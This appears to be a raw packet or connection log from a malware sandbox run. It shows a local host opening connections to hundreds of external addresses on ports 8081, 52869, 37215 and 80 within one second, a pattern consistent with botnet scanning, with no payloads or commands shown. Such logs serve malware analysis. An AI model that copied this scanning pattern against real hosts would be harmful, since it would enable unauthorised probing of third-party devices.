Jul 20, 2024 23:01:05.523808956 CEST	8081	50165	124.136.118.245	192.168.2.14
Jul 20, 2024 23:01:05.523814917 CEST	8081	34858	118.120.59.187	192.168.2.14
Jul 20, 2024 23:01:05.523832083 CEST	52869	57202	211.192.130.220	192.168.2.14
Jul 20, 2024 23:01:05.524225950 CEST	50165	8081	192.168.2.14	59.102.115.182
Jul 20, 2024 23:01:05.524363995 CEST	50165	8081	192.168.2.14	124.136.118.245
Jul 20, 2024 23:01:05.524693966 CEST	50165	8081	192.168.2.14	36.228.168.11
Jul 20, 2024 23:01:05.524776936 CEST	50165	8081	192.168.2.14	61.30.142.95
Jul 20, 2024 23:01:05.524776936 CEST	50165	8081	192.168.2.14	216.128.135.57
Jul 20, 2024 23:01:05.524776936 CEST	50165	8081	192.168.2.14	115.194.47.142
Jul 20, 2024 23:01:05.524776936 CEST	42862	80	192.168.2.14	88.190.107.86
Jul 20, 2024 23:01:05.524776936 CEST	50165	8081	192.168.2.14	159.69.14.173
Jul 20, 2024 23:01:05.524776936 CEST	50165	8081	192.168.2.14	39.139.85.73
Jul 20, 2024 23:01:05.524776936 CEST	50165	8081	192.168.2.14	162.59.46.240
Jul 20, 2024 23:01:05.525532007 CEST	56296	8081	192.168.2.14	149.238.160.62
Jul 20, 2024 23:01:05.525707960 CEST	43930	52869	192.168.2.14	68.93.103.227
Jul 20, 2024 23:01:05.525732040 CEST	58488	80	192.168.2.14	88.48.205.88
Jul 20, 2024 23:01:05.525732040 CEST	58488	80	192.168.2.14	88.48.205.88
Jul 20, 2024 23:01:05.526042938 CEST	52869	44450	200.181.183.183	192.168.2.14
Jul 20, 2024 23:01:05.526134968 CEST	34858	8081	192.168.2.14	118.120.59.187
Jul 20, 2024 23:01:05.526139975 CEST	44450	52869	192.168.2.14	200.181.183.183
Jul 20, 2024 23:01:05.526164055 CEST	57202	52869	192.168.2.14	211.192.130.220
Jul 20, 2024 23:01:05.526678085 CEST	8081	50165	197.54.154.16	192.168.2.14
Jul 20, 2024 23:01:05.526684999 CEST	8081	50165	90.102.115.156	192.168.2.14
Jul 20, 2024 23:01:05.526698112 CEST	8081	50165	206.66.8.74	192.168.2.14
Jul 20, 2024 23:01:05.526704073 CEST	8081	50165	205.235.196.246	192.168.2.14
Jul 20, 2024 23:01:05.526710033 CEST	8081	50165	19.16.148.185	192.168.2.14
Jul 20, 2024 23:01:05.526721954 CEST	50165	8081	192.168.2.14	197.54.154.16
Jul 20, 2024 23:01:05.526722908 CEST	8081	50165	61.75.226.42	192.168.2.14
Jul 20, 2024 23:01:05.526726007 CEST	59424	80	192.168.2.14	88.48.205.88
Jul 20, 2024 23:01:05.526726007 CEST	50165	8081	192.168.2.14	90.102.115.156
Jul 20, 2024 23:01:05.526727915 CEST	8081	50165	217.91.225.147	192.168.2.14
Jul 20, 2024 23:01:05.526734114 CEST	8081	50165	136.128.84.91	192.168.2.14
Jul 20, 2024 23:01:05.526736975 CEST	50165	8081	192.168.2.14	205.235.196.246
Jul 20, 2024 23:01:05.526740074 CEST	8081	50165	132.77.30.166	192.168.2.14
Jul 20, 2024 23:01:05.526745081 CEST	8081	50165	190.79.53.220	192.168.2.14
Jul 20, 2024 23:01:05.526751041 CEST	8081	50165	159.166.206.162	192.168.2.14
Jul 20, 2024 23:01:05.526756048 CEST	8081	50165	169.6.234.209	192.168.2.14
Jul 20, 2024 23:01:05.526762009 CEST	8081	50165	195.183.124.141	192.168.2.14
Jul 20, 2024 23:01:05.526767015 CEST	8081	50165	160.29.87.29	192.168.2.14
Jul 20, 2024 23:01:05.526772022 CEST	8081	50165	164.108.31.55	192.168.2.14
Jul 20, 2024 23:01:05.526777983 CEST	8081	50165	162.204.62.14	192.168.2.14
Jul 20, 2024 23:01:05.526782990 CEST	8081	50165	158.78.236.229	192.168.2.14
Jul 20, 2024 23:01:05.526787996 CEST	8081	50165	179.152.51.107	192.168.2.14
Jul 20, 2024 23:01:05.526793003 CEST	8081	50165	61.247.232.143	192.168.2.14
Jul 20, 2024 23:01:05.526798964 CEST	80	50916	88.102.141.240	192.168.2.14
Jul 20, 2024 23:01:05.526803970 CEST	8081	50165	188.55.84.241	192.168.2.14
Jul 20, 2024 23:01:05.526863098 CEST	50165	8081	192.168.2.14	19.16.148.185
Jul 20, 2024 23:01:05.526864052 CEST	50165	8081	192.168.2.14	169.6.234.209
Jul 20, 2024 23:01:05.526864052 CEST	50165	8081	192.168.2.14	179.152.51.107
Jul 20, 2024 23:01:05.526864052 CEST	50165	8081	192.168.2.14	188.55.84.241
Jul 20, 2024 23:01:05.527005911 CEST	50165	8081	192.168.2.14	136.128.84.91
Jul 20, 2024 23:01:05.527005911 CEST	50165	8081	192.168.2.14	190.79.53.220
Jul 20, 2024 23:01:05.527005911 CEST	50165	8081	192.168.2.14	160.29.87.29
Jul 20, 2024 23:01:05.527014971 CEST	8081	50165	168.80.209.65	192.168.2.14
Jul 20, 2024 23:01:05.527021885 CEST	8081	50165	81.175.222.47	192.168.2.14
Jul 20, 2024 23:01:05.527033091 CEST	8081	50165	138.159.22.147	192.168.2.14
Jul 20, 2024 23:01:05.527045012 CEST	8081	50165	31.99.220.49	192.168.2.14
Jul 20, 2024 23:01:05.527050018 CEST	8081	50165	36.36.154.215	192.168.2.14
Jul 20, 2024 23:01:05.527055025 CEST	8081	50165	205.101.188.178	192.168.2.14
Jul 20, 2024 23:01:05.527060032 CEST	8081	50165	131.51.132.95	192.168.2.14
Jul 20, 2024 23:01:05.527065039 CEST	8081	50165	66.223.13.56	192.168.2.14
Jul 20, 2024 23:01:05.527210951 CEST	50165	8081	192.168.2.14	61.75.226.42
Jul 20, 2024 23:01:05.527210951 CEST	50165	8081	192.168.2.14	217.91.225.147
Jul 20, 2024 23:01:05.527210951 CEST	50165	8081	192.168.2.14	159.166.206.162
Jul 20, 2024 23:01:05.527210951 CEST	50165	8081	192.168.2.14	158.78.236.229
Jul 20, 2024 23:01:05.527210951 CEST	50165	8081	192.168.2.14	162.204.62.14
Jul 20, 2024 23:01:05.527210951 CEST	50165	8081	192.168.2.14	61.247.232.143
Jul 20, 2024 23:01:05.527295113 CEST	50165	8081	192.168.2.14	81.175.222.47
Jul 20, 2024 23:01:05.527295113 CEST	50165	8081	192.168.2.14	66.223.13.56
Jul 20, 2024 23:01:05.527312040 CEST	37215	58062	157.85.25.154	192.168.2.14
Jul 20, 2024 23:01:05.527329922 CEST	8081	50165	219.246.234.59	192.168.2.14
Jul 20, 2024 23:01:05.527335882 CEST	8081	50165	199.54.66.96	192.168.2.14
Jul 20, 2024 23:01:05.527653933 CEST	50165	8081	192.168.2.14	206.66.8.74
Jul 20, 2024 23:01:05.527653933 CEST	50165	8081	192.168.2.14	132.77.30.166
Jul 20, 2024 23:01:05.527653933 CEST	50165	8081	192.168.2.14	195.183.124.141
Jul 20, 2024 23:01:05.527653933 CEST	50165	8081	192.168.2.14	164.108.31.55
Jul 20, 2024 23:01:05.527653933 CEST	50165	8081	192.168.2.14	168.80.209.65
Jul 20, 2024 23:01:05.527653933 CEST	50165	8081	192.168.2.14	31.99.220.49
Jul 20, 2024 23:01:05.527654886 CEST	50165	8081	192.168.2.14	205.101.188.178
Jul 20, 2024 23:01:05.527654886 CEST	50165	8081	192.168.2.14	219.246.234.59
Jul 20, 2024 23:01:05.527755022 CEST	50165	8081	192.168.2.14	138.159.22.147
Jul 20, 2024 23:01:05.527832031 CEST	8081	50165	165.146.145.168	192.168.2.14
Jul 20, 2024 23:01:05.527837038 CEST	8081	50165	103.127.237.115	192.168.2.14
Jul 20, 2024 23:01:05.527842999 CEST	8081	50165	157.123.25.166	192.168.2.14
Jul 20, 2024 23:01:05.527848959 CEST	8081	50165	132.62.244.181	192.168.2.14
Jul 20, 2024 23:01:05.527888060 CEST	50165	8081	192.168.2.14	199.54.66.96
Jul 20, 2024 23:01:05.527888060 CEST	50165	8081	192.168.2.14	165.146.145.168
Jul 20, 2024 23:01:05.527888060 CEST	50165	8081	192.168.2.14	132.62.244.181
Jul 20, 2024 23:01:05.527888060 CEST	50165	8081	192.168.2.14	157.123.25.166
Jul 20, 2024 23:01:05.528322935 CEST	50165	8081	192.168.2.14	36.36.154.215
Jul 20, 2024 23:01:05.528322935 CEST	50165	8081	192.168.2.14	131.51.132.95
Jul 20, 2024 23:01:05.528322935 CEST	58062	37215	192.168.2.14	157.85.25.154
Jul 20, 2024 23:01:05.528625965 CEST	8081	50165	95.23.185.123	192.168.2.14
Jul 20, 2024 23:01:05.528631926 CEST	8081	50165	209.123.172.225	192.168.2.14
Jul 20, 2024 23:01:05.528644085 CEST	8081	50165	59.200.17.190	192.168.2.14
Jul 20, 2024 23:01:05.528906107 CEST	44008	52869	192.168.2.14	191.124.131.163
Jul 20, 2024 23:01:05.528906107 CEST	44008	52869	192.168.2.14	191.124.131.163
Jul 20, 2024 23:01:05.529290915 CEST	50165	8081	192.168.2.14	209.123.172.225
Jul 20, 2024 23:01:05.529625893 CEST	51956	37215	192.168.2.14	112.118.31.143
Jul 20, 2024 23:01:05.530131102 CEST	50916	80	192.168.2.14	88.102.141.240
Jul 20, 2024 23:01:05.530539036 CEST	50165	8081	192.168.2.14	103.127.237.115
Jul 20, 2024 23:01:05.530539036 CEST	50165	8081	192.168.2.14	95.23.185.123
Jul 20, 2024 23:01:05.530539036 CEST	50165	8081	192.168.2.14	59.200.17.190
Jul 20, 2024 23:01:05.531253099 CEST	49650	80	192.168.2.14	88.107.137.43
Jul 20, 2024 23:01:05.531254053 CEST	49650	80	192.168.2.14	88.107.137.43
Jul 20, 2024 23:01:05.531290054 CEST	45144	52869	192.168.2.14	191.124.131.163
Jul 20, 2024 23:01:05.531589031 CEST	50724	8081	192.168.2.14	89.198.248.138
Jul 20, 2024 23:01:05.533324003 CEST	50588	80	192.168.2.14	88.107.137.43
Jul 20, 2024 23:01:05.533349991 CEST	35510	52869	192.168.2.14	146.178.29.63
Jul 20, 2024 23:01:05.533459902 CEST	35510	52869	192.168.2.14	146.178.29.63
Jul 20, 2024 23:01:05.533786058 CEST	37054	37215	192.168.2.14	41.32.58.72
Jul 20, 2024 23:01:05.534161091 CEST	36650	52869	192.168.2.14	146.178.29.63
Jul 20, 2024 23:01:05.534703970 CEST	80	57566	88.90.229.82	192.168.2.14
Jul 20, 2024 23:01:05.534738064 CEST	57566	80	192.168.2.14	88.90.229.82
Jul 20, 2024 23:01:05.534781933 CEST	41084	80	192.168.2.14	88.154.139.67
Jul 20, 2024 23:01:05.534781933 CEST	41084	80	192.168.2.14	88.154.139.67
Jul 20, 2024 23:01:05.535342932 CEST	52869	42798	68.93.103.227	192.168.2.14
Jul 20, 2024 23:01:05.535396099 CEST	40284	8081	192.168.2.14	51.254.100.5
Jul 20, 2024 23:01:05.535489082 CEST	52869	42798	68.93.103.227	192.168.2.14
Jul 20, 2024 23:01:05.535772085 CEST	42024	80	192.168.2.14	88.154.139.67
Jul 20, 2024 23:01:05.536737919 CEST	46728	52869	192.168.2.14	20.43.107.217
Jul 20, 2024 23:01:05.536737919 CEST	46728	52869	192.168.2.14	20.43.107.217
Jul 20, 2024 23:01:05.536808014 CEST	8081	56296	149.238.160.62	192.168.2.14
Jul 20, 2024 23:01:05.536820889 CEST	52869	43930	68.93.103.227	192.168.2.14
Jul 20, 2024 23:01:05.536827087 CEST	80	58488	88.48.205.88	192.168.2.14
Jul 20, 2024 23:01:05.536832094 CEST	80	58488	88.48.205.88	192.168.2.14
Jul 20, 2024 23:01:05.536869049 CEST	80	59424	88.48.205.88	192.168.2.14
Jul 20, 2024 23:01:05.536976099 CEST	43930	52869	192.168.2.14	68.93.103.227
Jul 20, 2024 23:01:05.536981106 CEST	56296	8081	192.168.2.14	149.238.160.62
Jul 20, 2024 23:01:05.537077904 CEST	59424	80	192.168.2.14	88.48.205.88
Jul 20, 2024 23:01:05.537341118 CEST	56692	37215	192.168.2.14	41.116.209.33
Jul 20, 2024 23:01:05.537571907 CEST	41670	80	192.168.2.14	88.139.140.250
Jul 20, 2024 23:01:05.537573099 CEST	41670	80	192.168.2.14	88.139.140.250
Jul 20, 2024 23:01:05.537679911 CEST	47872	52869	192.168.2.14	20.43.107.217
Jul 20, 2024 23:01:05.538331985 CEST	80	48528	88.227.128.61	192.168.2.14
Jul 20, 2024 23:01:05.538897038 CEST	42138	8081	192.168.2.14	197.7.168.116
Jul 20, 2024 23:01:05.539386988 CEST	42612	80	192.168.2.14	88.139.140.250
Jul 20, 2024 23:01:05.539673090 CEST	43108	52869	192.168.2.14	160.191.28.144
Jul 20, 2024 23:01:05.539673090 CEST	43108	52869	192.168.2.14	160.191.28.144
Jul 20, 2024 23:01:05.540628910 CEST	44252	52869	192.168.2.14	160.191.28.144
Jul 20, 2024 23:01:05.540946007 CEST	56500	37215	192.168.2.14	58.195.53.166
Jul 20, 2024 23:01:05.541033030 CEST	49294	80	192.168.2.14	88.216.145.189
Jul 20, 2024 23:01:05.541084051 CEST	49294	80	192.168.2.14	88.216.145.189
Jul 20, 2024 23:01:05.541471004 CEST	52869	44008	191.124.131.163	192.168.2.14
Jul 20, 2024 23:01:05.541620016 CEST	37215	45276	197.65.248.102	192.168.2.14
Jul 20, 2024 23:01:05.541625977 CEST	52869	44008	191.124.131.163	192.168.2.14
Jul 20, 2024 23:01:05.541644096 CEST	37215	51956	112.118.31.143	192.168.2.14
Jul 20, 2024 23:01:05.541686058 CEST	51956	37215	192.168.2.14	112.118.31.143
Jul 20, 2024 23:01:05.542001009 CEST	50236	80	192.168.2.14	88.216.145.189
Jul 20, 2024 23:01:05.542129040 CEST	48528	80	192.168.2.14	88.227.128.61
Jul 20, 2024 23:01:05.542156935 CEST	45276	37215	192.168.2.14	197.65.248.102
Jul 20, 2024 23:01:05.542205095 CEST	54374	52869	192.168.2.14	174.69.237.0
Jul 20, 2024 23:01:05.542233944 CEST	80	49650	88.107.137.43	192.168.2.14
Jul 20, 2024 23:01:05.542239904 CEST	52869	45144	191.124.131.163	192.168.2.14
Jul 20, 2024 23:01:05.542251110 CEST	80	49650	88.107.137.43	192.168.2.14
Jul 20, 2024 23:01:05.542269945 CEST	52869	43438	39.70.52.243	192.168.2.14
Jul 20, 2024 23:01:05.542274952 CEST	8081	50724	89.198.248.138	192.168.2.14
Jul 20, 2024 23:01:05.542304039 CEST	80	50588	88.107.137.43	192.168.2.14
Jul 20, 2024 23:01:05.542316914 CEST	52869	35510	146.178.29.63	192.168.2.14
Jul 20, 2024 23:01:05.542323112 CEST	52869	35510	146.178.29.63	192.168.2.14
Jul 20, 2024 23:01:05.542325020 CEST	50724	8081	192.168.2.14	89.198.248.138
Jul 20, 2024 23:01:05.542337894 CEST	37215	37054	41.32.58.72	192.168.2.14
Jul 20, 2024 23:01:05.542340994 CEST	54374	52869	192.168.2.14	174.69.237.0
Jul 20, 2024 23:01:05.542340994 CEST	45144	52869	192.168.2.14	191.124.131.163
Jul 20, 2024 23:01:05.542375088 CEST	50588	80	192.168.2.14	88.107.137.43
Jul 20, 2024 23:01:05.542463064 CEST	37054	37215	192.168.2.14	41.32.58.72
Jul 20, 2024 23:01:05.542480946 CEST	52869	36650	146.178.29.63	192.168.2.14
Jul 20, 2024 23:01:05.542695999 CEST	36650	52869	192.168.2.14	146.178.29.63
Jul 20, 2024 23:01:05.542712927 CEST	80	41084	88.154.139.67	192.168.2.14
Jul 20, 2024 23:01:05.542718887 CEST	80	41084	88.154.139.67	192.168.2.14
Jul 20, 2024 23:01:05.543054104 CEST	80	51234	88.250.101.98	192.168.2.14
Jul 20, 2024 23:01:05.543463945 CEST	37215	49402	49.240.11.144	192.168.2.14
Jul 20, 2024 23:01:05.543639898 CEST	80	42024	88.154.139.67	192.168.2.14
Jul 20, 2024 23:01:05.543684006 CEST	42024	80	192.168.2.14	88.154.139.67
Jul 20, 2024 23:01:05.544512033 CEST	8081	40284	51.254.100.5	192.168.2.14
Jul 20, 2024 23:01:05.544531107 CEST	52869	46728	20.43.107.217	192.168.2.14
Jul 20, 2024 23:01:05.544625998 CEST	52869	46728	20.43.107.217	192.168.2.14
Jul 20, 2024 23:01:05.544711113 CEST	58054	8081	192.168.2.14	96.224.186.197
Jul 20, 2024 23:01:05.544766903 CEST	52869	48892	158.178.147.148	192.168.2.14
Jul 20, 2024 23:01:05.545080900 CEST	40284	8081	192.168.2.14	51.254.100.5
Jul 20, 2024 23:01:05.545286894 CEST	37215	56692	41.116.209.33	192.168.2.14
Jul 20, 2024 23:01:05.545332909 CEST	56692	37215	192.168.2.14	41.116.209.33
Jul 20, 2024 23:01:05.545563936 CEST	80	41670	88.139.140.250	192.168.2.14
Jul 20, 2024 23:01:05.545778036 CEST	80	41670	88.139.140.250	192.168.2.14
Jul 20, 2024 23:01:05.545798063 CEST	52869	47872	20.43.107.217	192.168.2.14
Jul 20, 2024 23:01:05.545840979 CEST	47872	52869	192.168.2.14	20.43.107.217
Jul 20, 2024 23:01:05.545952082 CEST	80	46626	88.96.118.126	192.168.2.14
Jul 20, 2024 23:01:05.546550035 CEST	8081	42138	197.7.168.116	192.168.2.14
Jul 20, 2024 23:01:05.546555042 CEST	37215	39202	45.168.126.225	192.168.2.14
Jul 20, 2024 23:01:05.546570063 CEST	80	42612	88.139.140.250	192.168.2.14
Jul 20, 2024 23:01:05.546588898 CEST	52869	43108	160.191.28.144	192.168.2.14
Jul 20, 2024 23:01:05.546593904 CEST	52869	43108	160.191.28.144	192.168.2.14
Jul 20, 2024 23:01:05.546607018 CEST	42612	80	192.168.2.14	88.139.140.250
Jul 20, 2024 23:01:05.546627045 CEST	52869	40100	170.123.158.68	192.168.2.14
Jul 20, 2024 23:01:05.546652079 CEST	52869	44252	160.191.28.144	192.168.2.14
Jul 20, 2024 23:01:05.546669960 CEST	37215	56500	58.195.53.166	192.168.2.14
Jul 20, 2024 23:01:05.546675920 CEST	80	49294	88.216.145.189	192.168.2.14
Jul 20, 2024 23:01:05.546694040 CEST	80	49294	88.216.145.189	192.168.2.14
Jul 20, 2024 23:01:05.546791077 CEST	44252	52869	192.168.2.14	160.191.28.144
Jul 20, 2024 23:01:05.546892881 CEST	56500	37215	192.168.2.14	58.195.53.166
Jul 20, 2024 23:01:05.547161102 CEST	44782	37215	192.168.2.14	41.99.96.147
Jul 20, 2024 23:01:05.547677040 CEST	48624	80	192.168.2.14	88.78.79.230
Jul 20, 2024 23:01:05.547677040 CEST	48624	80	192.168.2.14	88.78.79.230
Jul 20, 2024 23:01:05.547677040 CEST	55518	52869	192.168.2.14	174.69.237.0
Jul 20, 2024 23:01:05.547677994 CEST	42138	8081	192.168.2.14	197.7.168.116
Jul 20, 2024 23:01:05.550122976 CEST	48892	52869	192.168.2.14	158.178.147.148
Jul 20, 2024 23:01:05.550133944 CEST	46626	80	192.168.2.14	88.96.118.126
Jul 20, 2024 23:01:05.550158978 CEST	39202	37215	192.168.2.14	45.168.126.225
Jul 20, 2024 23:01:05.550276041 CEST	43438	52869	192.168.2.14	39.70.52.243
Jul 20, 2024 23:01:05.550347090 CEST	80	40248	88.198.159.217	192.168.2.14
Jul 20, 2024 23:01:05.550354004 CEST	80	50236	88.216.145.189	192.168.2.14
Jul 20, 2024 23:01:05.550371885 CEST	52869	54374	174.69.237.0	192.168.2.14
Jul 20, 2024 23:01:05.550386906 CEST	50236	80	192.168.2.14	88.216.145.189
Jul 20, 2024 23:01:05.550484896 CEST	49402	37215	192.168.2.14	49.240.11.144
Jul 20, 2024 23:01:05.550815105 CEST	51234	80	192.168.2.14	88.250.101.98
Jul 20, 2024 23:01:05.550816059 CEST	40100	52869	192.168.2.14	170.123.158.68
Jul 20, 2024 23:01:05.550816059 CEST	49568	80	192.168.2.14	88.78.79.230
Jul 20, 2024 23:01:05.551309109 CEST	47104	8081	192.168.2.14	25.208.249.240
Jul 20, 2024 23:01:05.551661015 CEST	60452	52869	192.168.2.14	91.209.91.142
Jul 20, 2024 23:01:05.551661015 CEST	60452	52869	192.168.2.14	91.209.91.142
Jul 20, 2024 23:01:05.552671909 CEST	33366	52869	192.168.2.14	91.209.91.142
Jul 20, 2024 23:01:05.552882910 CEST	8081	58054	96.224.186.197	192.168.2.14
Jul 20, 2024 23:01:05.552921057 CEST	58054	8081	192.168.2.14	96.224.186.197
Jul 20, 2024 23:01:05.553510904 CEST	43344	52869	192.168.2.14	202.140.60.188
Jul 20, 2024 23:01:05.553512096 CEST	43344	52869	192.168.2.14	202.140.60.188
Jul 20, 2024 23:01:05.553530931 CEST	45086	37215	192.168.2.14	197.153.78.108
Jul 20, 2024 23:01:05.553675890 CEST	34174	80	192.168.2.14	88.205.0.223
Jul 20, 2024 23:01:05.553675890 CEST	34174	80	192.168.2.14	88.205.0.223
Jul 20, 2024 23:01:05.553675890 CEST	35120	80	192.168.2.14	88.205.0.223
Jul 20, 2024 23:01:05.554512024 CEST	53510	8081	192.168.2.14	195.147.175.84
Jul 20, 2024 23:01:05.554980993 CEST	59244	80	192.168.2.14	88.193.181.65
Jul 20, 2024 23:01:05.554980993 CEST	59244	80	192.168.2.14	88.193.181.65
Jul 20, 2024 23:01:05.555128098 CEST	44492	52869	192.168.2.14	202.140.60.188
Jul 20, 2024 23:01:05.555285931 CEST	37215	44782	41.99.96.147	192.168.2.14
Jul 20, 2024 23:01:05.555291891 CEST	37215	49922	197.216.107.62	192.168.2.14
Jul 20, 2024 23:01:05.555327892 CEST	44782	37215	192.168.2.14	41.99.96.147
Jul 20, 2024 23:01:05.555654049 CEST	80	48624	88.78.79.230	192.168.2.14
Jul 20, 2024 23:01:05.556025982 CEST	80	48624	88.78.79.230	192.168.2.14
Jul 20, 2024 23:01:05.556031942 CEST	52869	55518	174.69.237.0	192.168.2.14
Jul 20, 2024 23:01:05.556071043 CEST	55518	52869	192.168.2.14	174.69.237.0
Jul 20, 2024 23:01:05.557589054 CEST	53862	37215	192.168.2.14	41.127.244.231
Jul 20, 2024 23:01:05.557801008 CEST	60192	80	192.168.2.14	88.193.181.65
Jul 20, 2024 23:01:05.558089972 CEST	48856	52869	192.168.2.14	66.247.97.52
Jul 20, 2024 23:01:05.558089972 CEST	48856	52869	192.168.2.14	66.247.97.52
Jul 20, 2024 23:01:05.558121920 CEST	49922	37215	192.168.2.14	197.216.107.62
Jul 20, 2024 23:01:05.558206081 CEST	40248	80	192.168.2.14	88.198.159.217
Jul 20, 2024 23:01:05.559180021 CEST	50004	52869	192.168.2.14	66.247.97.52
Jul 20, 2024 23:01:05.559307098 CEST	57290	8081	192.168.2.14	83.215.156.1
Jul 20, 2024 23:01:05.559561014 CEST	43480	80	192.168.2.14	88.69.180.92
Jul 20, 2024 23:01:05.559561014 CEST	43480	80	192.168.2.14	88.69.180.92
Jul 20, 2024 23:01:05.561177969 CEST	44428	80	192.168.2.14	88.69.180.92
Jul 20, 2024 23:01:05.561402082 CEST	48354	52869	192.168.2.14	5.217.173.216
Jul 20, 2024 23:01:05.561402082 CEST	48354	52869	192.168.2.14	5.217.173.216
Jul 20, 2024 23:01:05.561949015 CEST	34988	37215	192.168.2.14	197.233.138.129
Jul 20, 2024 23:01:05.563005924 CEST	49504	52869	192.168.2.14	5.217.173.216
Jul 20, 2024 23:01:05.563338041 CEST	50248	8081	192.168.2.14	139.124.84.30
Jul 20, 2024 23:01:05.563375950 CEST	44936	80	192.168.2.14	88.122.134.59
Jul 20, 2024 23:01:05.563375950 CEST	44936	80	192.168.2.14	88.122.134.59
Jul 20, 2024 23:01:05.563868999 CEST	52869	55954	40.122.199.14	192.168.2.14
Jul 20, 2024 23:01:05.563906908 CEST	80	42766	88.136.211.68	192.168.2.14
Jul 20, 2024 23:01:05.563922882 CEST	37215	46134	157.94.206.239	192.168.2.14
Jul 20, 2024 23:01:05.564276934 CEST	80	49568	88.78.79.230	192.168.2.14
Jul 20, 2024 23:01:05.564284086 CEST	8081	47104	25.208.249.240	192.168.2.14
Jul 20, 2024 23:01:05.564307928 CEST	52869	60452	91.209.91.142	192.168.2.14
Jul 20, 2024 23:01:05.564313889 CEST	52869	60452	91.209.91.142	192.168.2.14
Jul 20, 2024 23:01:05.564379930 CEST	52869	33366	91.209.91.142	192.168.2.14
Jul 20, 2024 23:01:05.564385891 CEST	52869	43344	202.140.60.188	192.168.2.14
Jul 20, 2024 23:01:05.564390898 CEST	52869	43344	202.140.60.188	192.168.2.14
Jul 20, 2024 23:01:05.564397097 CEST	37215	45086	197.153.78.108	192.168.2.14
Jul 20, 2024 23:01:05.564415932 CEST	33366	52869	192.168.2.14	91.209.91.142
Jul 20, 2024 23:01:05.564440966 CEST	45086	37215	192.168.2.14	197.153.78.108
Jul 20, 2024 23:01:05.564466953 CEST	80	34174	88.205.0.223	192.168.2.14
Jul 20, 2024 23:01:05.564477921 CEST	80	34174	88.205.0.223	192.168.2.14
Jul 20, 2024 23:01:05.564500093 CEST	80	35120	88.205.0.223	192.168.2.14
Jul 20, 2024 23:01:05.564721107 CEST	8081	53510	195.147.175.84	192.168.2.14
Jul 20, 2024 23:01:05.564730883 CEST	35120	80	192.168.2.14	88.205.0.223
Jul 20, 2024 23:01:05.564734936 CEST	80	59244	88.193.181.65	192.168.2.14
Jul 20, 2024 23:01:05.564739943 CEST	80	59244	88.193.181.65	192.168.2.14
Jul 20, 2024 23:01:05.564750910 CEST	52869	44492	202.140.60.188	192.168.2.14
Jul 20, 2024 23:01:05.565222979 CEST	49568	80	192.168.2.14	88.78.79.230
Jul 20, 2024 23:01:05.565222979 CEST	47104	8081	192.168.2.14	25.208.249.240
Jul 20, 2024 23:01:05.565223932 CEST	53510	8081	192.168.2.14	195.147.175.84
Jul 20, 2024 23:01:05.565223932 CEST	44492	52869	192.168.2.14	202.140.60.188
Jul 20, 2024 23:01:05.565593004 CEST	37215	53862	41.127.244.231	192.168.2.14
Jul 20, 2024 23:01:05.565598965 CEST	80	60192	88.193.181.65	192.168.2.14
Jul 20, 2024 23:01:05.565617085 CEST	52869	48856	66.247.97.52	192.168.2.14
Jul 20, 2024 23:01:05.565628052 CEST	52869	48856	66.247.97.52	192.168.2.14
Jul 20, 2024 23:01:05.565666914 CEST	33754	52869	192.168.2.14	130.69.123.40
Jul 20, 2024 23:01:05.565666914 CEST	33754	52869	192.168.2.14	130.69.123.40
Jul 20, 2024 23:01:05.565666914 CEST	53862	37215	192.168.2.14	41.127.244.231
Jul 20, 2024 23:01:05.565674067 CEST	52869	50004	66.247.97.52	192.168.2.14
Jul 20, 2024 23:01:05.565685987 CEST	8081	57290	83.215.156.1	192.168.2.14
Jul 20, 2024 23:01:05.565691948 CEST	80	43480	88.69.180.92	192.168.2.14
Jul 20, 2024 23:01:05.565696955 CEST	80	43480	88.69.180.92	192.168.2.14
Jul 20, 2024 23:01:05.565809011 CEST	57290	8081	192.168.2.14	83.215.156.1
Jul 20, 2024 23:01:05.566443920 CEST	50004	52869	192.168.2.14	66.247.97.52
Jul 20, 2024 23:01:05.566443920 CEST	42766	80	192.168.2.14	88.136.211.68
Jul 20, 2024 23:01:05.566828966 CEST	80	44428	88.69.180.92	192.168.2.14
Jul 20, 2024 23:01:05.566840887 CEST	52869	48354	5.217.173.216	192.168.2.14
Jul 20, 2024 23:01:05.566847086 CEST	52869	48354	5.217.173.216	192.168.2.14
Jul 20, 2024 23:01:05.566858053 CEST	8081	36214	191.63.84.95	192.168.2.14
Jul 20, 2024 23:01:05.566869974 CEST	37215	34988	197.233.138.129	192.168.2.14
Jul 20, 2024 23:01:05.566919088 CEST	45886	80	192.168.2.14	88.122.134.59
Jul 20, 2024 23:01:05.567321062 CEST	52869	37792	198.112.106.164	192.168.2.14
Jul 20, 2024 23:01:05.568155050 CEST	52869	49504	5.217.173.216	192.168.2.14
Jul 20, 2024 23:01:05.568299055 CEST	49504	52869	192.168.2.14	5.217.173.216
Jul 20, 2024 23:01:05.568460941 CEST	8081	50248	139.124.84.30	192.168.2.14
Jul 20, 2024 23:01:05.568465948 CEST	80	44936	88.122.134.59	192.168.2.14
Jul 20, 2024 23:01:05.568496943 CEST	50248	8081	192.168.2.14	139.124.84.30
Jul 20, 2024 23:01:05.568645954 CEST	80	44936	88.122.134.59	192.168.2.14
Jul 20, 2024 23:01:05.569281101 CEST	46134	37215	192.168.2.14	157.94.206.239
Jul 20, 2024 23:01:05.569281101 CEST	44428	80	192.168.2.14	88.69.180.92
Jul 20, 2024 23:01:05.569281101 CEST	34988	37215	192.168.2.14	197.233.138.129
Jul 20, 2024 23:01:05.569281101 CEST	47138	37215	192.168.2.14	197.37.56.19
Jul 20, 2024 23:01:05.569504023 CEST	60192	80	192.168.2.14	88.193.181.65
Jul 20, 2024 23:01:05.569504976 CEST	55954	52869	192.168.2.14	40.122.199.14
Jul 20, 2024 23:01:05.570122004 CEST	37792	52869	192.168.2.14	198.112.106.164
Jul 20, 2024 23:01:05.570777893 CEST	36214	8081	192.168.2.14	191.63.84.95
Jul 20, 2024 23:01:05.571768999 CEST	34906	52869	192.168.2.14	130.69.123.40
Jul 20, 2024 23:01:05.572316885 CEST	41378	80	192.168.2.14	88.24.81.58
Jul 20, 2024 23:01:05.572338104 CEST	41378	80	192.168.2.14	88.24.81.58
Jul 20, 2024 23:01:05.572720051 CEST	37215	58062	157.85.25.154	192.168.2.14
Jul 20, 2024 23:01:05.572794914 CEST	80	57566	88.90.229.82	192.168.2.14
Jul 20, 2024 23:01:05.572849035 CEST	52869	33754	130.69.123.40	192.168.2.14
Jul 20, 2024 23:01:05.572976112 CEST	54288	8081	192.168.2.14	207.80.12.0
Jul 20, 2024 23:01:05.573235035 CEST	80	45886	88.122.134.59	192.168.2.14
Jul 20, 2024 23:01:05.573272943 CEST	45886	80	192.168.2.14	88.122.134.59
Jul 20, 2024 23:01:05.573329926 CEST	42330	80	192.168.2.14	88.24.81.58
